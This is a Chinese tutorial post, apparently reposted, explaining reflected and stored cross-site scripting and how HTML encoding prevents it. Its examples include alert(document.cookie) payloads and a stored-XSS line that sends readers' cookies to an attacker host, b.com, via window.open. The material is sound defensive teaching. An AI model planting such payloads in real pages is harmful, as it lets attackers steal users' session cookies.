一、XSS简介
XSS 全称(Cross Site Scripting) 跨站脚本攻击,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,其核心就是恶意攻击者通常在web页面可输入的地方插入恶意js代码或html代码,当这个输入框没有经过安全处理的话,那么恶意js就会执行,从而窃取用户信息甚至做一些其他敏感操作。
考虑下面这个输入框:
这个输入框已经输入了“value1”,那假使我要恶意攻击的话,我不会输入value1,我会输入这个东西:
"/>alert(document.cookie)
于是,这个输入框最后得到的代码是这样:
alert(document.cookie)
看到没,非常巧妙地嵌了一个js进去了,如果我的输入框没有做任何处理,那么这个js就会执行,弹出当前浏览器的cookie。有同学会说,你这是攻击了自己啊。确实是,但是,当这个页面在别人的浏览器中加载的时候,我就可以达到攻击的目的。接下来我们看下恶意攻击者怎样攻击别人(我们不采用输入框的方式,采用url的方式)。
假设我们有一个网站a.com,一个页面地址如下:
http://www.a.com/index.php
该页面可以传一个参数x,后台处理逻辑如下:
echo $_GET['x'];
?>
如果输入x的值未经任何过滤就直接输出,提交如下:
http://www.a.com/index.php?x=alert(1)
然后我把该url或者带该url的页面通过邮件发给别人让别人去点,这时就会在用户的浏览器弹窗提示“1”。攻击者一看,哈,js能执行,这时候攻击者就会精心构造js,比如,我要构造一个js,把用户当前浏览器的cookie发给我,那么当用户访问该url的时候,cookie就被我窃取了。
上面介绍的这种xss攻击属于非持久型攻击,也就是说,这种攻击只对单个用户生效。
还有另外一种xss,叫存储型xss,提交的恶意代码会存储在服务器端。这种xss的影响范围会很大。下面来说下这种攻击。
假设a.com网站可以发文章,并且发文章的文本框没有做任何过滤处理,于是,我写了一篇文章,里面包含这样的代码:
window.open("www.b.com?param="+document.cookie)
保存后,某些用户看到了我的文章,看的那一瞬间,这个js就会执行,带着他们的cookie访问了我的网站b.com,于是,凡是看了这篇文章的人,我都能收到他们的cookie。怎么样,存储型的xss危害更大吧!
二、如何预防
XSS之所以会发生, 是因为用户输入的数据变成了代码。
用户输入的一切都是不可信的,所以我们需要对用户的输入进行处理,只允许输入合法的值,其它值一概应该过滤掉。假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换,即对用户输入的数据进行HTML Encode处理,将其中的尖括号、“与符号、单引号、双引号等之类的特殊字符进行编码,并且输出的内容也都需要经过html编码。HTML Encode一般不需要自己实现,一般都有现成的处理方法供调用。
转载:http://www.yanyaozhen.com/archives/128/
网友评论